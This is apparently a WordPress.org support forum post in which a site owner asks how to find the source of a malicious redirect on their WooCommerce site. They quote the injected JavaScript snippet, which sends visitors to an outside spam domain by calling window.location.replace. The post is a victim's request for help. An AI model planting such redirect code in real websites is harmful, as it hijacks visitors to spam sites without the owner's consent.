Support » Plugin: WooCommerce » WooCommerce 404 redirection

  • For some reason, with WooCommerce enabled, my pretty links always redirect to this spam website. It only happens with pretty-links and WooCommerce enabled. I’ve searched the database and all code for the name of the site and cannot find the source of the redirect. I know it’s JavaScript based because I viewed the source in Chrome using “view-source:http://atrsports.com/blahblah/” in the address bar. This happens on all computers I’ve tested with.

    Here’s the code appearing:

    var pathArray = location.pathname.split('/');
    var ap = "/";
    for(var i=1; i<pathArray.length-1; i++) {
         ap += pathArray[i] + "/";
    }
      window.location.replace("http://mscdailynews.com/?" + ap);

    Anyone have any idea how to locate this garbage?

    https://wordpress.org/plugins/woocommerce/

Viewing 2 replies - 1 through 2 (of 2 total)
Viewing 2 replies - 1 through 2 (of 2 total)
  • The topic ‘WooCommerce 404 redirection’ is closed to new replies.